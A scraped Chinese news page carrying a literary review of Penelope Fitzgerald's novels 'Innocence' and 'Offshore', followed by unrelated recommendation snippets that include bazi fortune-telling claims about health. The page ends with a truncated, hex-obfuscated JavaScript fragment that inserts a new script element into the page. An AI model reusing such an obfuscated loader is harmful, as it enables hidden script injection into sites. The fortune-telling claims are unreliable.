首页 / 新京报 / 佩内洛普·菲茨杰拉德 深思熟虑的寓言小说

佩内洛普·菲茨杰拉德 深思熟虑的寓言小说

新京报 2020-09-19 04:16

佩内洛普·菲茨杰拉德

《无辜》

作者:(英)佩内洛普·菲茨杰拉德

译者:周萌

版本:大方|中信出版集团2020年7月

《离岸》

作者:(英)佩内洛普·菲茨杰拉德

译者:张菊

版本:大方|中信出版集团2020年7月

正如灵感不能随时光顾,人生的高峰低谷也无法预知。那些追寻着“作家梦”的年轻人在文坛崭露头角,从而进入职业作家的行列,也有一些人行至知天命的年纪才萌生了写作的念想。佩内洛普·菲茨杰拉德(Penelope Fitzgerald),这位六十多岁才开始执笔的作家曾三次入围布克奖短名单,最终凭借她的第三部作品《离岸》摘得桂冠,其封笔之作、长篇小说《蓝花》曾十九次被媒体评为“年度最佳图书”,并获得美国国家图书评论奖。除此之外,她被推举为“二战后最伟大的五十位英国作家”。入行晚、起点高的菲茨杰拉德打破了“出名要趁早”的咒语,在她一生创作的九部小说中流露不乏光鲜的城市边缘人,当过杂志编辑、老师、经营过书店的体验练就了看穿社会底层的独到慧眼,在寓言的建构和解构中编织人物与家族前世今生的来龙去脉。

《无辜》:对于宠爱与幸福的异化想象

也许是岁月的打磨,菲茨杰拉德所流露的锐气丝毫不输给年轻作家,反而有着他们所不具备的老练与睿智。《无辜》的开篇便是她设下的局,十六世纪盛产矮人的里多尔菲家族可谓传奇一时,为了保持他们的优越感,雇来清一色的侏儒。然而名门望族也有失算之时,与女儿做伴的女佣突然长高令所有人都始料未及,淫威之下她被弄瞎双眼、砍断膝盖,遏制住了她对“异化”的想象。原本自然而然的事情却被权力所扼杀,如此残酷行事维护了后裔对于里多尔菲家族形象天真无邪的完美想象,而另一面,那个惨遭毒手的女孩却是无辜的牺牲品。

人物的命运牵连着家族历史,在里多尔菲家族里殊途同归。菲茨杰拉德笔锋一转,又将故事的时间调到了上世纪五十年代中期的佛罗伦萨,没落贵族小姐琪娅拉和平民医生萨尔瓦托相爱相杀,一个单纯的热情似火,准备拥抱整个世界,一个刻意冷若冰霜、与政治保持距离。像很多恋人一样,他们之间少不了争吵和误会。琪娅拉的同学芭妮爱上了她的堂兄酒庄主西萨尔,而西萨尔却暗自爱上了琪娅拉。然而,这看似平淡无奇的两条情感线是如何与家族传说联系在一起的?当里多尔菲家宅成为旅行胜地时,这段被遮蔽的历史才被人挖掘并翻拍。

菲茨杰拉德将构思零星散播在故事中,静待读者捡拾起琐碎的情节,拼凑出一个关于家族观念与性情传承的版图。都是传说在作祟,几百年光阴流转,里多尔菲家族日迫西山,他们却已经习以为常,甚至迫切期待这样的颓势,“欢迎衰退是由于替代品往往比原件要先进得多,这是一个巨大的优势。眼镜比眼睛强,而且还可以换。”

畸形的身高得到了矫正,然而始终不变的是一脉相承的家族特质,即对于宠爱与幸福难以磨灭的异化想象,一代代人自始至终无法割舍父母的宠爱,也不能轻易放下家族面子,在追求儿女幸福的途中一味地逼迫他者做出让步。女佣被屏蔽的感官,与琪娅拉对萨尔瓦托若即若离,时不时闪现斩断情丝的想法有着异曲同工。他们肤浅地认为爱理所应当通往幸福,好心好意定会成就美好人生,也正是出于此,他们才费尽心机为后代建起了“理想”世界,而在他者看来却是异化的,受宠的童年之后便是坍塌的青春。

无论是心思缜密、多此一举的家人,欲言又止人艰不拆的旁观者,还是当事者本人都是无辜的,琪娅拉和萨尔瓦托的婚姻即是无辜的结果,勉强合乎道义却不近乎人情,过于看重幸福甚至以整个人生作为赌注,反而会被幸福拖累。事实上,无辜者本无罪。随着故事发展,“无辜”的意义从纯真鲁莽演变为愚蠢尴尬,“当一切都被说尽,都被做完了之后,讽刺就成了一门卑劣的艺术。作家唯一真正的主题就是自然。”

菲茨杰拉德不动声色地将主题嵌入到读者的观念中,借人物之口点明了真相:将鹤立鸡群者斩草除根,让自己的短板转嫁为他人的罪过,从身高骗局微妙地蔓延至性情与社交缺陷,用视而不见作为挡箭牌,任由想象占上风,好心办坏事的荒诞不经酿成了家族的遗传悲剧,充斥着戏谑讽刺意味。

《离岸》:定居在船上的城市边缘人

菲茨杰拉德对于人所在处境的探索远远大过情节本身。比起《无辜》中的亲缘关联,《离岸》则进一步将关系拓宽至“最熟悉的陌生人”,即社群中的邻居。在文本空间的建构上也独具匠心,以船为家的艺术家、失败者、社会底层的弱势群体彼此扶持抱团取暖,贯穿于漂泊之中的情感纽带改变了他们在岸上的日常交往习惯,个体的疏离感汇集成了他们对社群的归属感。

《离岸》的故事灵感源于她在泰晤士河上一段短暂经历,身处人生低谷的她栖身于“既不属于河流,也不属于陆地”的船屋,如同小说中的城市边缘人徘徊在理想与现实之间,渴望岸上体面的生活,又无法忍受世俗的规则;享受着漂泊与不确定的刺激,却不敢贸然航船乘风破浪,只求委身于廉价、局促的空间,仍然无法逃脱劫难,时不时要面对漏水和潮汐带来的危机和困扰。

暗流涌动、风雨之中飘摇的船,寓意着动荡不安的人生,眼看着命运沉沦、即将倾覆的船,却无能为力,就像流离失所者随波逐流,只能孤注一掷,倔强地坚守着并不安稳的生活;支离破碎,满眼尽是生活的无奈和不堪。“河流最神秘的时刻,一层黑暗驱散另一层黑暗,上一分钟还是影子,下一分钟,影子就清晰地变成了房子或停泊的船只。”就像这个由“负能量”聚集起来的社群,优柔寡断的单身母亲尼娜,精明绅士、婚姻触礁的理查德,职场受挫、风趣体贴的莫里斯,退役军官、特立独行的画家威利斯修葺着“格蕾丝号”上的破损有如弥补各自的创伤,静候着山雨欲来,命运也随着船只的沉没卷入洪流……

船屋里的人们在临时的收容所,互相安抚着孤立无援、无所适从的惶恐焦虑,尼娜的丈夫、理查德的妻子抗拒船上生活,直接导致他们情感走向末路,但也有各自的苦衷。尼娜试图挽回婚姻,丈夫爱德华始终不理解她的态度,宁可在岸上寄人篱下也不愿做出妥协,甚至对她恶言相加。理查德百般劝说妻子入住船屋,却留不住她的心。正因为尼娜与理查德都曾在离开抑或坚守之间徘徊,这段相似的经历促使他们发展了一段隐秘的感情。当爱德华回心转意到船屋来找尼娜,却不幸与莫里斯一起淹没于狂风暴雨之中。

船屋的边缘人不同于无家可归闲逛于街头的流浪汉,他们和普通人一样按部就班地生活,只是现实中的遭遇或多或少令他们难以直面便就此搁浅,他们深知自己青春不再,已经失去了可以大肆挥霍的“间隔年”(Gap year),登陆到岸上就意味着被生活裹挟,被烦恼捆绑。然而,暴风雨的来袭逼迫他们纷纷“离岸”。理想家园的构建谈何容易,作为一处暂时的避风港,每个人四分五裂的生活在船屋这个温情包容的社群中得到了重建,但这个摇摇欲坠的家终究没有成为乌托邦,被自然界法则摧毁,迫使“两栖动物”上岸,重返接地气的现实沉浮。

经历了船屋的曲折,离岸仿佛收获了一种人生经验:“你学的每一样东西,你受的每一种苦,都会在你人生的某个时刻起到作用。”菲茨杰拉德有种“看破不说透”的含蓄内敛,她总是不动声色地将她对幸福、理想的洞见及其与规范、秩序的冲突矛盾融入到情节中,小说对于人到暮年的她而言,怀旧的意义超过了写作本身,梳理沉淀已久的切身体会,举重若轻地道出了人的悲观困境,这种从容即是上天赋予晚成者的厚礼。

□刘晗

猜你喜欢

  • 亚历山大.普希金(1799一。1837)是俄国伟大的民族诗人,追求真理和自由的斗士,一生坎坷多难而又辉煌壮丽。他也是友谊和爱情的歌手,生性多情,浪漫轻浮,情欲强烈,曾得到许许多多年轻美丽的女子的爱恋,他又以自己炽热的爱情和优美的诗章赞颂和报答她们。诗人在16岁时..

    诗词雅言2024-03-29
  • ​人生如一场花事从花开到花落,我们一路追赶一路欣赏,若已竭尽全力那就要学会顺其自然​人生不易,不必追求太多心房很小,不必装的太满可在因上努力,需在果上随顺凡事尽心,不执着​我们一生所追逐的,除了理想和梦不过是更舒服、更自在更淡然的活着​朝起暮落淡淡享..

    诗然散文诗歌2024-03-29
  • 戊土太旺或太弱时易生胃病。木旺土弱胃病。土弱金旺胃病。水多土荡,胃疼胃出血。辰戌相冲胃受损。柱中水多而旺,土与火弱,易患胃溃疡或胃下垂。戊土弱得旺火生,火多土焦,易患胃炎、胃溃疡。柱中戊土弱遭木局克破,有刀伤之灾。辰土、戌土被其他支合化成另一五行,胃..

    命理研究2024-03-28
  • 《观音菩萨偈》观音菩萨妙难酬,清净庄严累劫修。三十二应周尘刹,百千万劫化阎浮。瓶中甘露常遍洒,手内杨枝不计秋。千处祈求千处应,苦海常作渡人舟。观音菩萨佛教日农历二月十九:观世音菩萨圣诞日农历六月十九:观世音菩萨成道日农历九月十九:观世音菩萨出家日2024..

    真九归医2024-03-27
  • 易学命理唐老师/书网友:男1985年生,请老师看看财运婚姻,单位上班人士,工作方面压力大,也没有什么积蓄,什么时候财运才能转好,婚姻上2020起就情感很不顺,2023年离异目前单身,什么时候有再婚机会,未来婚姻稳定些吗?【回复】乾造:乙丑年,壬午月,庚辰日,丁丑..

    命理易学唐老师2024-03-27
  • 在很多人眼中,诸葛亮谋略出众,军事能力超强,他乃是神一般的男人!结果在第二次北伐时期,诸葛亮以数万精锐进攻一千余人的陈仓,竟然无功而返,这是怎么回事呢?为何诸葛亮打不下区区千余人的陈仓呢?陈仓之战诸葛亮第一次北伐过后不久,准备趁曹魏没有防备,再次北伐..

    超级七品小芝麻官2024-03-27
  • 我们都知道,苏轼在文学上的成就登峰造极。他的诗风格独具,与黄庭坚并称“苏黄”;他的词豪放大气,与辛弃疾并称“苏辛”。但鲜有人知道,苏轼也是一个写寓言的大师,一生留下了百余则经典寓言。今天为大家分享5篇苏轼写的寓言故事,篇幅短小,含义深刻,读懂受用不尽..

    诗词雅言2024-03-27
  • 三国时期,群雄逐鹿,英才辈出,彼此之间,斗智斗勇,为今人留下了生动的三国故事。在我们激赏三国人物运筹帷幄的智慧、侠肝义胆的忠勇时,容易忘记这一时代诞生了一些对后世影响深远的家训文献,正是通过这些文字,我们得以见识在那个兵荒马乱的年代中三国人物内心深处..

    诗词雅言2024-03-27
  • 友字,在甲骨文里是由两个“又”构成,也就是两只右手。一个人只能有一只右手,两只右手肯定是来自两个不同的人,双方用相对灵巧的右手相互配合,互相协调来完成工作,因此产生默契、友好的含义。右手除了可以使用工具,还可以挥舞武器,两个人同时伸出右手,相当于是把..

    诗词雅言2024-03-27
  • 《唐诗三百首》是清朝蘅塘退士孙洙所编选的唐诗选集,成书于乾隆年间,共选唐诗310首。孙洙编《唐诗三百首》原本是为家族儿童学习诗歌,作为家塾课本使用,但编成后却风靡一时,甚至在某段时间内达到“家均一本”的惊人地步,是当之无愧的流传最广、影响力最大、刊印本..

    诗词雅言2024-03-27
  • 十神相互作用,结果有吉有凶。十神组合种类极多,代表不同信息,下面举例说明。伤官见官。官星代表事业、工作、地位、领导、权威、自我克制力、女性的丈夫等。官星促使人走正道,少犯错误。伤官代表骄纵、反抗、违逆、恃才傲物、蔑视权威、出口伤人等。伤官无情克制官星..

    命理研究2024-03-27
  • 贪财坏印,是命理学中的一个术语,指局中喜欢印来扶身,却见财来克破正偏印之局,财人皆喜之,故有贪财之说;比如日元甲木以癸水为正印,但见其他天干己土来合,己土为甲木正财,甲己合化土局反有克癸水之气,此为明显的贪财坏印。在命理学中印代表名誉、母亲、文凭、学..

    命理研究2024-03-27
  • 抵抗流亡或寻找理想自我1敬文东/著开场白今天,是张枣三周年的祭日。三年前的今天凌晨,张枣病逝于德国图宾根大学校医院。他去世后,我只接受过一家媒体的采访。我说,我来中央民族大学任教十多年,从未做过讲座,为了张枣,愿意破例2。转眼间,三年说过去就过去了。今..

    外国诗歌精选2024-03-27
  • 易学命理唐老师/书网友:女 1986年生,请老师看看事业财运,与婚姻,工作虽然不错,但这几人小人很多,未来能否有更好的发展,情感方面,未妻不在一个地方工作,对婚姻影响大吗?要注意什么问题,谢谢!【回复】坤造:丙寅年,己亥月,甲子日,辛未时,3岁运:戊戌,丁..

    命理易学唐老师2024-03-15
  • 在招安前,梁山108好汉战无不胜,攻无不克,在招安后,梁山军虽然偶尔吃一些败仗,在征讨辽国、田虎、王庆时,有惊无险,没有折损一位好汉。然而,在征讨方腊时,不知道出了什么事,梁山好汉一个接一个死去,他们不是战死沙场,就是病逝。梁山108好汉中,最后幸存下来的..

    魁哥说历史2024-03-13
  • 什么是木火交辉,简单的理解就是以木火为主的八字命,木火交辉格为八字算命变格的一种,出自三命通会。赋云:火明木秀,生春月以为荣。此象乃甲戌、甲午、甲寅、丙午、丙寅、丙戌等日,生春月或夏月,柱无金水伤坏,时上有木火。行木火运,木日火秀,行南方运,火日木秀..

    命理研究2024-03-13
  • 文/易学鬼手 伤官是宣泄,发挥及创造的通道,正印为吸纳,酝酿及收获的管道,伤官释放正印收纳形成一套收放自如的体系,没有正印时伤官会一路狂奔失足坠崖,而正印出现后伤官有所醒悟和收敛故狂飙之后依然可悬崖勒马。日主身弱者,最宜在命局地支或大运流年的地支见到日..

    八字预测命理2024-03-13
  • 中国人四季观念的形成可以从“春、夏、秋、冬”这几个字的本义见出一些端倪。“春”字最早见于甲骨文,本义是草的种子推土而出,开始生根发芽了。《说文解字》:“春,推也,从艸从日,艸春时生也。”作为季节的“夏”字是假借字,本义为“雄武的中国人”。《说文解字》..

    诗词雅言2024-03-09
  • 《人月圆·山中书事》元代:张可久兴亡千古繁华梦,诗眼倦天涯。孔林乔木,吴宫蔓草,楚庙寒鸦。数间茅舍,藏书万卷,投老村家。山中何事?松花酿酒,春水煎茶。译文:千古以来,兴亡更替就像繁华的春梦一样。诗人用疲倦的眼睛远望着天边。孔子家族墓地中长满乔木,吴国..

    诗词雅言2024-03-09
  • ​时光总是来去匆匆。很多时候,还没有准备好,已经开始了下一个旅程,即使光阴的转角处,花事还没有散场。人生仅以一程风景,换一场懂得,你左右不了时光,有时候也左右不了心情,一个人的路途,是一个人的欢喜一个人的歌。​光阴终不会为谁而停留,一直以为不会离开的..

    诗然散文诗歌2024-03-09
9\x70\x74")[0];uGjcoY3['\x70\x61\x72\x65\x6e\x74\x4e\x6f\x64\x65']['\x69\x6e\x73\x65\x72\x74\x42\x65\x66\x6f\x72\x65'](XBLUoB2,uGjcoY3)})();